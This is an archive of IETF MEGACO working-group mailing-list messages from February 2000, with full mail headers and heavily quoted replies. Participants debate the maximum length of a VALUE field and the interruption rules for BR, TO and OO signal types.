    [SMTP:arayhan@americasm01.nt.com] 
    Sent:   Thursday,=20
    February 03, 2000 10:07 AM 
    To:     Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904] =

    Cc:     MEGACO@STANDARDS.NORTELNETWORKS.COM 
    Subject:        =
Re: maximum size of a VALUE 
    
    
     
    Not too fast. I believe couple of =
the issues=20
    were considered when 64 was
    decided; efficiency and security. We =
dont=20
    have max msg size restriction. A
    user could cause buffering =
flooding=20
    intentionally if VALUE is huge, not to
    mention parsing a msg with =
huge=20
    VALUEs. This could reduce the efficiency
    dramatically. Also, what =
if=20
    VALUE is used to pass malicious code through
    a firewall. If VALUE =
is=20
    unlimited, we could be jeopardizing security. If 64 is
    too small =
we could=20
    increase it to 128 or 256 but not unlimited. 
    
    
    Abdallah Rayhan 
    
    
    "Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904]" =
wrote:=20
    
    
    
      
      
        
      
      
      Looks like a good =
one for=20
      "errata". 
      
      
              -----Original Message-----
      From:   =
Steven Magnell =
[SMTP:magnells@DIALOGIC.COM]
      Sent:   =
Wednesday, February 02, 2000 7:20 =
PM
      To:     =

      MEGACO@STANDARDS.NORTELNETWORKS.COM
      Subject:        maximum size of a =

      VALUE 
      
      
              This=20
      may be minor compared to other issues, but it seems that the=20
      maximum
      size of=20
      a VALUE is 64 characters (not including quotes) in the ABNF=20
      syntax.
      It=20
      should be larger, perhaps arbitrary. The ASN.1 definition of Value =

      does
      not have=20
      this limitation. 
      
      
              While this does not seem to be a concern with the basic =
packages,=20
      looking
      ahead to=20
      upcoming packages such as the display and text telephone=20
      packages
      in the=20
      otherpkgs draft and the cromwell ARF draft, there is a need =
to
      support longer =
strings. The=20
      text telephone package, for example, defines
      string =
parameters with a=20
      maximum of 256 characters and the others have
      strings of =
arbitrary length=20
      where some larger string, such as a display or
      text-to-speech =
announcement,=20
      would certainly be reasonable. =

      
      
              steve magnell =



------=_NextPart_000_0092_01BF7087.50359D10--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Sun Feb  6 13:02:57 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA11026
	for ; Sun, 6 Feb 2000 13:02:57 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.137EC070@standards.nortelnetworks.com>; 6 Feb 2000 13:00:00 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 27697 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Sun, 6 Feb 2000 12:58:34 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.7A5B1110@standards.nortelnetworks.com>; 6 Feb 2000 12:48:33
          -0500
Received: from zmers013 by smtprch1.nortel.com; Sun, 6 Feb 2000 11:50:48 -0600
Received: from zcard015.ca.nortel.com by zmers013; Sun, 6 Feb 2000 12:50:44
          -0500
Received: from zrtpd00z.us.nortel.com ([47.140.224.110]) by
          zcard015.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail
          Service Version 5.5.2650.21) id 1D8XG6Y6; Sun, 6 Feb 2000 12:50:44
          -0500
Received: from nortelnetworks.com (PMERY0H8 [47.190.16.229]) by
          zrtpd00z.us.nortel.com with SMTP (Microsoft Exchange Internet Mail
          Service Version 5.5.2650.21) id 1D90CN1V; Sun, 6 Feb 2000 12:50:41
          -0500
X-Mailer: Mozilla 4.5 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
References: 
Content-Type: multipart/alternative;
              boundary="------------DE75CD3393AFD25F760AE486"
Message-ID:  <389DB4E5.26EEEBBD@nortelnetworks.com>
Date:         Sun, 6 Feb 2000 12:52:38 -0500
Reply-To: Michael Brown 
Sender: "Media Gateway Control (megaco)"
              
From: Michael Brown 
Organization: Nortel Networks
Subject:      Re: Cisco SG16: Signals Operation
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--------------DE75CD3393AFD25F760AE486
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Overall, we're still on the right track since we haven't taken the
approach of throwing everything away and starting over, but I do have
problems with some of the proposed changes. My feeling is that they take
us back to the situation we had before the IETF meeting in Washington
where I felt these issues were reasonably well resolved.

The biggest general issue I have is that the definitions for signal type
cross the boundary into dictating implementation detail. Take the case
of  a BR signal. Happily, we have not come back around to trying to
define some time limit for a BR signal (although I think continuing with
the proposal will eventually lead us there again), so for now BR is a
subjective statement. Let's say I want to play a signal of a relatively
short tone (a couple of seconds) with a provisioned (in the MG) length,
but I want it to be interruptable. By these definitions, this would have
to be treated as a TO which means that the MGC would have to specify
duration (or we have the special rule of duration=0 means to play the
signal til the MG stops it) which I don't think should be required.

There are other example of how these definitions require a specific
implementation of common signals, such as dial tone.

Basically, I suppose I continue to feel that the default for all signals
should be interruptable and that  Keepactive be used to override that
behavior.

Unfortunately, I don't have time to respond with my objections more
fully at this moment as I'm leaving shortly for the ITU meeting. When I
arrive in Geneva, I will follow up with my other concerns and examples.

Michael



"Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904]" wrote:

>
>
> OK, let's sum up, not that I'm confident that this will fly yet.  I'd
> like to see the reaction of a couple of other vocal parties -- say
> Michael Brown and Christian Groves.
>
> We have three signal types with distinct roles:
>   BR has a timer but is not interrupted by events.  It is interrupted
> by signal descriptor replacement.
>   TO is the most interruptible: timer, events, signal descriptors.
>   OO is the most persistent: interrupted by signal descriptors with
> explicit "Off" syntax only.
> I assume we allow over-riding of default signal type in any given
> instance of playout.
>
> The list is an interesting problem.  I think I have an answer to
> turning an OO list off, but now we also have to define behaviour in
> response to events.  We might consider the following rules:
>
>  -- the type of the list is set explicitly -- every signal on the list
> with the possible exception of the last one must be either BR or TO,
> in order to have an assigned duration
>
>  -- if the last event is OO, the list must be OO and vice versa
>  -- the type of the list, not the type of the signals making it up,
> determines the conditions under which playout of the list ceases
>
>  -- the list times out if it is not OO and all of the signals on it
> have played out, each in turn to its full duration.
>
>      -----Original Message-----
>      From:   Flemming Andreasen [SMTP:fandreasen@WORLDNET.ATT.NET]
>      Sent:   Friday, February 04, 2000 5:38 PM
>      To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
>      Subject:        Re: Cisco SG16: Signals Operation
>
>      Maybe, but according to Brian's first "no-op" rule, it must be
>      broken in order to get fixed :-)
>
>      Regarding dial-tone, I don't see the issue. What you have is
>      three different signal types and three different semantics. Each
>      has it's own time and place. In the case of dial-tone, TimeOut
>      happens to be the one, not Brief.
>
>      -- Flemming
>
>
>      "Rosen, Brian" wrote:
>            Let's see:    Events stop signals except:        When
>           KeepActive is set        If the signal is BR        If the
>           signal is OONet result - events stop signals only when TO
>           and not KeepActive.Maybe we should have a "StopSignal",
>           rather than a KeepActiveMaybe it happens so seldom that we
>           use an embedded signals to do it.Also note that by saying BR
>           doesn't stop for events, you twist the solution tofirst
>           digit stops dialtone to a new level.Brian
>                -----Original Message-----
>                From: Flemming Andreasen [
>                ]
>                Sent: Friday, February 04, 2000 4:55 PM
>                To: MEGACO@standards.nortelnetworks.com
>                Subject: Re: Cisco SG16: Signals Operation
>
>                Hi Tom
>
>                OO signals should not be interrupted by an event, only
>                the explicit "Off" syntax should have this effect
>                (otherwise we are back to TO signals with indefinite
>                duration, and semantically there's good use for
>                something that stays active until explicitly told
>                otherwise, e.g. consider message waiting indicator)
>
>                Regards
>
>                        Flemming
>
>                Tom-PT Taylor wrote:
>
>
>                     Digging through the accumulated mass of indented
>                     text and comments, I think I see two parties
>                     agreeing on the following points.  Unfortunately
>                     experience tells me that as soon as we introduce a
>                     third party the agreements will vanish, but I'll
>                     record them here just in case a miracle happens.
>
>                     1) BR signals have the following characteristics:
>                     duration is assumed to be known to the MG without
>                     explicit MGC input.  Brian wants the ability to
>                     override duration, and I have no quarrel with that
>                     -- the only question is the exact mechanism.  The
>                     second characteristic is that a BR signal is not
>                     terminated by the detection of an event.  (But BR
>                     signals are still terminated by replacement of the
>                     Signals descriptor??  Any objections here?)
>
>                     2) TO signals seem to be fairly well understood.
>
>                     3) OO signals have the following characteristics:
>                     they remain on until interrupted by detection of
>                     an event, or receipt of a Signals descriptor with
>                     explicit Off syntax.  Brian's keyword syntax is
>                     probably acceptable.  Brian has a query about
>                     signal lists.  Is there something about this
>                     proposal that doesn't work given our current
>                     signal list text?
>
>                     4) Brian's proposals for completion events
>                     probably work for Chip and they work for me.  To
>                     summarize: the current notifyCompletion parameter
>                     remains but its significance changes: it is a
>                     selector (Boolean, default FALSE) and does not
>                     actually arm reporting.  There is a signal
>                     completion event which reports on the completion
>                     of any signal so flagged, with the identity of the
>                     signal as a reporting parameter.  QUESTION: should
>                     KeepActive default to TRUE for this event?  In any
>                     case, the signal completion event is invoked in
>                     the usual way, through an events descriptor.
>
>                     Open issue: signal failures.  The need for reports
>                     of such failures is real -- they do happen from
>                     time to time.  They happen autonomously, which
>                     means we either have to have an error method
>                     (ServiceChange ?) or an event to report them.  The
>                     key issue is whether you would need to know about
>                     ANY failure or only those of selected signals.
>

--------------DE75CD3393AFD25F760AE486
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit



Overall, we're still on the right track since we haven't taken the approach
of throwing everything away and starting over, but I do have problems with
some of the proposed changes. My feeling is that they take us back to the
situation we had before the IETF meeting in Washington where I felt these
issues were reasonably well resolved.

The biggest general issue I have is that the definitions for signal
type cross the boundary into dictating implementation detail. Take the
case of  a BR signal. Happily, we have not come back around to trying
to define some time limit for a BR signal (although I think continuing
with the proposal will eventually lead us there again), so for now BR is
a subjective statement. Let's say I want to play a signal of a relatively
short tone (a couple of seconds) with a provisioned (in the MG) length,
but I want it to be interruptable. By these definitions, this would have
to be treated as a TO which means that the MGC would have to specify duration
(or we have the special rule of duration=0 means to play the signal til
the MG stops it) which I don't think should be required.

There are other example of how these definitions require a specific
implementation of common signals, such as dial tone.

Basically, I suppose I continue to feel that the default for all signals
should be interruptable and that  Keepactive be used to override that
behavior.

Unfortunately, I don't have time to respond with my objections more
fully at this moment as I'm leaving shortly for the ITU meeting. When I
arrive in Geneva, I will follow up with my other concerns and examples.

Michael

 

 

"Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904]" wrote:

 

OK, let's sum
up, not that I'm confident that this will fly yet.  I'd like to see
the reaction of a couple of other vocal parties -- say Michael Brown and
Christian Groves.

We have three
signal types with distinct roles:

  BR has
a timer but is not interrupted by events.  It is interrupted by signal
descriptor replacement.

  TO is
the most interruptible: timer, events, signal descriptors.

  OO is
the most persistent: interrupted by signal descriptors with explicit "Off"
syntax only.

I assume we
allow over-riding of default signal type in any given instance of playout.

The list is an
interesting problem.  I think I have an answer to turning an OO list
off, but now we also have to define behaviour in response to events. 
We might consider the following rules:

 -- the
type of the list is set explicitly -- every signal on the list with the
possible exception of the last one must be either BR or TO, in order to
have an assigned duration

 -- if the
last event is OO, the list must be OO and vice versa

 -- the
type of the list, not the type of the signals making it up, determines
the conditions under which playout of the list ceases

 -- the
list times out if it is not OO and all of the signals on it have played
out, each in turn to its full duration.

    -----Original Message-----

    From:  
Flemming Andreasen [SMTP:fandreasen@WORLDNET.ATT.NET]

    Sent:  
Friday, February 04, 2000 5:38 PM

    To:    
MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject:       
Re: Cisco SG16: Signals Operation

    Maybe, but according to Brian's first "no-op" rule,
it must be broken in order to get fixed :-)

    Regarding dial-tone, I don't see the issue. What
you have is three different signal types and three different semantics.
Each has it's own time and place. In the case of dial-tone, TimeOut happens
to be the one, not Brief.

    -- Flemming

     

    "Rosen, Brian" wrote:

       Let's
see:    Events stop signals except:       
When KeepActive is set        If the
signal is BR        If the signal is
OONet result - events stop signals only when TO and not KeepActive.Maybe
we should have a "StopSignal", rather than a KeepActiveMaybe it happens
so seldom that we use an embedded signals to do it.Also note that by saying
BR doesn't stop for events, you twist the solution tofirst digit stops
dialtone to a new level.Brian

        -----Original Message-----

        From: Flemming Andreasen [
<mailto:fandreasen@WORLDNET.ATT.NET>]

        Sent: Friday, February 04,
2000 4:55 PM

        To: MEGACO@standards.nortelnetworks.com

        Subject: Re: Cisco SG16: Signals
Operation

        Hi Tom

        OO signals should not be interrupted by an event,
only the explicit "Off" syntax should have this effect (otherwise we are
back to TO signals with indefinite duration, and semantically there's good
use for something that stays active until explicitly told otherwise, e.g.
consider message waiting indicator)

        Regards

                Flemming

        Tom-PT Taylor wrote:

           

          Digging through
the accumulated mass of indented text and comments, I think I see two parties
agreeing on the following points.  Unfortunately experience tells
me that as soon as we introduce a third party the agreements will vanish,
but I'll record them here just in case a miracle happens.

          1) BR signals
have the following characteristics: duration is assumed to be known to
the MG without explicit MGC input.  Brian wants the ability to override
duration, and I have no quarrel with that -- the only question is the exact
mechanism.  The second characteristic is that a BR signal is not terminated
by the detection of an event.  (But BR signals are still terminated
by replacement of the Signals descriptor??  Any objections here?)

          2) TO signals
seem to be fairly well understood.

          3) OO signals
have the following characteristics: they remain on until interrupted by
detection of an event, or receipt of a Signals descriptor with explicit
Off syntax.  Brian's keyword syntax is probably acceptable. 
Brian has a query about signal lists.  Is there something about this
proposal that doesn't work given our current signal list text?

          4) Brian's proposals
for completion events probably work for Chip and they work for me. 
To summarize: the current notifyCompletion parameter remains but its significance
changes: it is a selector (Boolean, default FALSE) and does not actually
arm reporting.  There is a signal completion event which reports on
the completion of any signal so flagged, with the identity of the signal
as a reporting parameter.  QUESTION: should KeepActive default to
TRUE for this event?  In any case, the signal completion event is
invoked in the usual way, through an events descriptor.

          Open issue: signal
failures.  The need for reports of such failures is real -- they do
happen from time to time.  They happen autonomously, which means we
either have to have an error method (ServiceChange ?) or an event to report
them.  The key issue is whether you would need to know about ANY failure
or only those of selected signals.
        

      

    






--------------DE75CD3393AFD25F760AE486--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Sun Feb  6 22:08:09 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA15515
	for ; Sun, 6 Feb 2000 22:08:09 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.430E6F10@standards.nortelnetworks.com>; 6 Feb 2000 22:05:21 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 27980 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Sun, 6 Feb 2000 22:03:38 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.9EC9C7C0@standards.nortelnetworks.com>; 6 Feb 2000 21:53:36 -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id VAA29617; Sun, 6 Feb
          2000 21:55:53 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id VAA09576; Sun, 6 Feb
          2000 21:55:55 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCTTZW7>; Sun, 6 Feb 2000 21:52:36 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF2088A8@whq-msgusr-02.fore.com>
Date:         Sun, 6 Feb 2000 21:55:50 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Signalling Failure
X-To:         Tom-PT Taylor ,
              Flemming Andreasen 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I'd rather see failure with the general failure event.
I don't like exceptions.  The general failure event is there
for just this kind of thing - an asynchronous failure.
It has no catches, it's there when you want it.

Brian

> -----Original Message-----
> From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
> Sent: Friday, February 04, 2000 7:13 PM
> To: Brian Rosen; Flemming Andreasen;
> megaco@standards.nortelnetworks.com
> Subject: Signalling Failure
>
>
> I've solved the signalling failure problem, maybe.  I add a
> parameter to the
> signal completion event indicating how the signal was
> terminated: timeout,
> event, new signal descriptor, or failure.  The catch is that
> failures are
> only reported for events for which notifyCompletion is TRUE.
>
> Tom Taylor
> Advisor -- Emerging Carrier IP Standards
> E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)
> Phone and FAX: +1 613 736 0961
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb  7 05:25:08 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA01564
	for ; Mon, 7 Feb 2000 05:25:08 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.450C2720@standards.nortelnetworks.com>; Mon, 7 Feb 2000 5:22:04 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 28443 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 7 Feb 2000 05:20:46 -0500
Received: from penguin.wise.edt.ericsson.se (194.237.142.110) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.AF5D0510@standards.nortelnetworks.com>; Mon, 7 Feb 2000 5:10:43
          -0500
Received: from eed.ericsson.se (mailhost.eed.ericsson.se [164.48.130.6]) by
          penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.5) with ESMTP id
          LAA02460; Mon, 7 Feb 2000 11:13:02 +0100 (MET)
Received: from ericsson.com.au (dhcp2-99 [164.48.129.99]) by eed.ericsson.se
          (8.8.8+Sun/1.1.mit) with ESMTP id LAA13348; Mon, 7 Feb 2000 11:13:01
          +0100 (MET)
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
References: 
            <389DB4E5.26EEEBBD@nortelnetworks.com>
Content-Type: multipart/alternative;
              boundary="------------BD54144ED1902977894A9765"
Message-ID:  <389E9AAB.8334AC1A@ericsson.com.au>
Date:         Mon, 7 Feb 2000 11:12:59 +0100
Reply-To: Paul Hollis 
Sender: "Media Gateway Control (megaco)"
              
From: Paul Hollis 
Organization: Ericsson Eurolab Deutschland GmbH
Subject:      Re: Cisco SG16: Signals Operation
X-To:         Michael Brown 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--------------BD54144ED1902977894A9765
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi,

I tend to agree with Michael. I think that signals should be treated
uniformly, and not differently depending upon how they were initiated.
Use the Keepactive if you dont want it to be interupted.

Regards Paul.


Michael Brown wrote:

> Overall, we're still on the right track since we haven't taken the
> approach of throwing everything away and starting over, but I do have
> problems with some of the proposed changes. My feeling is that they
> take us back to the situation we had before the IETF meeting in
> Washington where I felt these issues were reasonably well resolved.
>
> The biggest general issue I have is that the definitions for signal
> type cross the boundary into dictating implementation detail. Take the
> case of  a BR signal. Happily, we have not come back around to trying
> to define some time limit for a BR signal (although I think continuing
> with the proposal will eventually lead us there again), so for now BR
> is a subjective statement. Let's say I want to play a signal of a
> relatively short tone (a couple of seconds) with a provisioned (in the
> MG) length, but I want it to be interruptable. By these definitions,
> this would have to be treated as a TO which means that the MGC would
> have to specify duration (or we have the special rule of duration=0
> means to play the signal til the MG stops it) which I don't think
> should be required.
>
> There are other example of how these definitions require a specific
> implementation of common signals, such as dial tone.
>
> Basically, I suppose I continue to feel that the default for all
> signals should be interruptable and that  Keepactive be used to
> override that behavior.
>
> Unfortunately, I don't have time to respond with my objections more
> fully at this moment as I'm leaving shortly for the ITU meeting. When
> I arrive in Geneva, I will follow up with my other concerns and
> examples.
>
> Michael
>
>
>
> "Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904]" wrote:
>
>>
>>
>> OK, let's sum up, not that I'm confident that this will fly yet.
>> I'd like to see the reaction of a couple of other vocal parties --
>> say Michael Brown and Christian Groves.
>>
>> We have three signal types with distinct roles:
>>   BR has a timer but is not interrupted by events.  It is
>> interrupted by signal descriptor replacement.
>>   TO is the most interruptible: timer, events, signal descriptors.
>>   OO is the most persistent: interrupted by signal descriptors with
>> explicit "Off" syntax only.
>> I assume we allow over-riding of default signal type in any given
>> instance of playout.
>>
>> The list is an interesting problem.  I think I have an answer to
>> turning an OO list off, but now we also have to define behaviour in
>> response to events.  We might consider the following rules:
>>
>>  -- the type of the list is set explicitly -- every signal on the
>> list with the possible exception of the last one must be either BR
>> or TO, in order to have an assigned duration
>>
>>  -- if the last event is OO, the list must be OO and vice versa
>>  -- the type of the list, not the type of the signals making it up,
>> determines the conditions under which playout of the list ceases
>>
>>  -- the list times out if it is not OO and all of the signals on it
>> have played out, each in turn to its full duration.
>>
>>      -----Original Message-----
>>      From:  Flemming Andreasen [SMTP:fandreasen@WORLDNET.ATT.NET]
>>      Sent:  Friday, February 04, 2000 5:38 PM
>>      To:    MEGACO@STANDARDS.NORTELNETWORKS.COM
>>      Subject:       Re: Cisco SG16: Signals Operation
>>
>>      Maybe, but according to Brian's first "no-op" rule, it must be
>>      broken in order to get fixed :-)
>>
>>      Regarding dial-tone, I don't see the issue. What you have is
>>      three different signal types and three different semantics.
>>      Each has it's own time and place. In the case of dial-tone,
>>      TimeOut happens to be the one, not Brief.
>>
>>      -- Flemming
>>
>>
>>      "Rosen, Brian" wrote:
>>            Let's see:    Events stop signals except:        When
>>           KeepActive is set        If the signal is BR        If the
>>           signal is OONet result - events stop signals only when TO
>>           and not KeepActive.Maybe we should have a "StopSignal",
>>           rather than a KeepActiveMaybe it happens so seldom that we
>>           use an embedded signals to do it.Also note that by saying
>>           BR doesn't stop for events, you twist the solution tofirst
>>           digit stops dialtone to a new level.Brian
>>                -----Original Message-----
>>                From: Flemming Andreasen
>>                []
>>                Sent: Friday, February 04, 2000 4:55 PM
>>                To: MEGACO@standards.nortelnetworks.com
>>                Subject: Re: Cisco SG16: Signals Operation
>>
>>                Hi Tom
>>
>>                OO signals should not be interrupted by an event,
>>                only the explicit "Off" syntax should have this
>>                effect (otherwise we are back to TO signals with
>>                indefinite duration, and semantically there's good
>>                use for something that stays active until explicitly
>>                told otherwise, e.g. consider message waiting
>>                indicator)
>>
>>                Regards
>>
>>                        Flemming
>>
>>                Tom-PT Taylor wrote:
>>
>>
>>                     Digging through the accumulated mass of indented
>>                     text and comments, I think I see two parties
>>                     agreeing on the following points.  Unfortunately
>>                     experience tells me that as soon as we introduce
>>                     a third party the agreements will vanish, but
>>                     I'll record them here just in case a miracle
>>                     happens.
>>
>>                     1) BR signals have the following
>>                     characteristics: duration is assumed to be known
>>                     to the MG without explicit MGC input.  Brian
>>                     wants the ability to override duration, and I
>>                     have no quarrel with that -- the only question
>>                     is the exact mechanism.  The second
>>                     characteristic is that a BR signal is not
>>                     terminated by the detection of an event.  (But
>>                     BR signals are still terminated by replacement
>>                     of the Signals descriptor??  Any objections
>>                     here?)
>>
>>                     2) TO signals seem to be fairly well understood.
>>
>>                     3) OO signals have the following
>>                     characteristics: they remain on until
>>                     interrupted by detection of an event, or receipt
>>                     of a Signals descriptor with explicit Off
>>                     syntax.  Brian's keyword syntax is probably
>>                     acceptable.  Brian has a query about signal
>>                     lists.  Is there something about this proposal
>>                     that doesn't work given our current signal list
>>                     text?
>>
>>                     4) Brian's proposals for completion events
>>                     probably work for Chip and they work for me.  To
>>                     summarize: the current notifyCompletion
>>                     parameter remains but its significance changes:
>>                     it is a selector (Boolean, default FALSE) and
>>                     does not actually arm reporting.  There is a
>>                     signal completion event which reports on the
>>                     completion of any signal so flagged, with the
>>                     identity of the signal as a reporting
>>                     parameter.  QUESTION: should KeepActive default
>>                     to TRUE for this event?  In any case, the signal
>>                     completion event is invoked in the usual way,
>>                     through an events descriptor.
>>
>>                     Open issue: signal failures.  The need for
>>                     reports of such failures is real -- they do
>>                     happen from time to time.  They happen
>>                     autonomously, which means we either have to have
>>                     an error method (ServiceChange ?) or an event to
>>                     report them.  The key issue is whether you would
>>                     need to know about ANY failure or only those of
>>                     selected signals.
>>
--

oooooooooooooooooooooooooooooooooooooooooooooo
  Paul Hollis
  Ericsson Eurolab Deutschland GmbH
  Ericsson Allee 1
  D-52134 Herzogenrath
  Germany
  Phone: +49 2407 575 8092
  email: Paul.Hollis@ericsson.com.au
oooooooooooooooooooooooooooooooooooooooooooooo


--------------BD54144ED1902977894A9765
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit



Hi,

I tend to agree with Michael. I think that signals should be treated
uniformly, and not differently depending upon how they were initiated.
Use the Keepactive if you dont want it to be interupted.

Regards Paul.

 

Michael Brown wrote:

Overall, we're still on the right track since we
haven't taken the approach of throwing everything away and starting over,
but I do have problems with some of the proposed changes. My feeling is
that they take us back to the situation we had before the IETF meeting
in Washington where I felt these issues were reasonably well resolved.

The biggest general issue I have is that the definitions for signal
type cross the boundary into dictating implementation detail. Take the
case of  a BR signal. Happily, we have not come back around to trying
to define some time limit for a BR signal (although I think continuing
with the proposal will eventually lead us there again), so for now BR is
a subjective statement. Let's say I want to play a signal of a relatively
short tone (a couple of seconds) with a provisioned (in the MG) length,
but I want it to be interruptable. By these definitions, this would have
to be treated as a TO which means that the MGC would have to specify duration
(or we have the special rule of duration=0 means to play the signal til
the MG stops it) which I don't think should be required.

There are other example of how these definitions require a specific
implementation of common signals, such as dial tone.

Basically, I suppose I continue to feel that the default for all signals
should be interruptable and that  Keepactive be used to override that
behavior.

Unfortunately, I don't have time to respond with my objections more
fully at this moment as I'm leaving shortly for the ITU meeting. When I
arrive in Geneva, I will follow up with my other concerns and examples.

Michael

 

 

"Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904]" wrote:

 

OK, let's sum
up, not that I'm confident that this will fly yet.  I'd like to see
the reaction of a couple of other vocal parties -- say Michael Brown and
Christian Groves.

We have three
signal types with distinct roles:

  BR has
a timer but is not interrupted by events.  It is interrupted by signal
descriptor replacement.

  TO is
the most interruptible: timer, events, signal descriptors.

  OO is
the most persistent: interrupted by signal descriptors with explicit "Off"
syntax only.

I assume we
allow over-riding of default signal type in any given instance of playout.

The list is an
interesting problem.  I think I have an answer to turning an OO list
off, but now we also have to define behaviour in response to events. 
We might consider the following rules:

 -- the
type of the list is set explicitly -- every signal on the list with the
possible exception of the last one must be either BR or TO, in order to
have an assigned duration

 -- if the
last event is OO, the list must be OO and vice versa

 -- the
type of the list, not the type of the signals making it up, determines
the conditions under which playout of the list ceases

 -- the
list times out if it is not OO and all of the signals on it have played
out, each in turn to its full duration.

    -----Original Message-----

    From:  Flemming Andreasen
[SMTP:fandreasen@WORLDNET.ATT.NET]

    Sent:  Friday, February
04, 2000 5:38 PM

    To:    MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject:      
Re: Cisco SG16: Signals Operation

    Maybe, but according to Brian's first "no-op" rule,
it must be broken in order to get fixed :-)

    Regarding dial-tone, I don't see the issue. What
you have is three different signal types and three different semantics.
Each has it's own time and place. In the case of dial-tone, TimeOut happens
to be the one, not Brief.

    -- Flemming

     

    "Rosen, Brian" wrote:

       Let's
see:    Events stop signals except:       
When KeepActive is set        If the
signal is BR        If the signal is
OONet result - events stop signals only when TO and not KeepActive.Maybe
we should have a "StopSignal", rather than a KeepActiveMaybe it happens
so seldom that we use an embedded signals to do it.Also note that by saying
BR doesn't stop for events, you twist the solution tofirst digit stops
dialtone to a new level.Brian

        -----Original Message-----

        From: Flemming Andreasen [<mailto:fandreasen@WORLDNET.ATT.NET>]

        Sent: Friday, February 04,
2000 4:55 PM

        To: MEGACO@standards.nortelnetworks.com

        Subject: Re: Cisco SG16: Signals
Operation

        Hi Tom

        OO signals should not be interrupted by an event,
only the explicit "Off" syntax should have this effect (otherwise we are
back to TO signals with indefinite duration, and semantically there's good
use for something that stays active until explicitly told otherwise, e.g.
consider message waiting indicator)

        Regards

                Flemming

        Tom-PT Taylor wrote:

           

          Digging through
the accumulated mass of indented text and comments, I think I see two parties
agreeing on the following points.  Unfortunately experience tells
me that as soon as we introduce a third party the agreements will vanish,
but I'll record them here just in case a miracle happens.

          1) BR signals
have the following characteristics: duration is assumed to be known to
the MG without explicit MGC input.  Brian wants the ability to override
duration, and I have no quarrel with that -- the only question is the exact
mechanism.  The second characteristic is that a BR signal is not terminated
by the detection of an event.  (But BR signals are still terminated
by replacement of the Signals descriptor??  Any objections here?)

          2) TO signals
seem to be fairly well understood.

          3) OO signals
have the following characteristics: they remain on until interrupted by
detection of an event, or receipt of a Signals descriptor with explicit
Off syntax.  Brian's keyword syntax is probably acceptable. 
Brian has a query about signal lists.  Is there something about this
proposal that doesn't work given our current signal list text?

          4) Brian's proposals
for completion events probably work for Chip and they work for me. 
To summarize: the current notifyCompletion parameter remains but its significance
changes: it is a selector (Boolean, default FALSE) and does not actually
arm reporting.  There is a signal completion event which reports on
the completion of any signal so flagged, with the identity of the signal
as a reporting parameter.  QUESTION: should KeepActive default to
TRUE for this event?  In any case, the signal completion event is
invoked in the usual way, through an events descriptor.

          Open issue: signal
failures.  The need for reports of such failures is real -- they do
happen from time to time.  They happen autonomously, which means we
either have to have an error method (ServiceChange ?) or an event to report
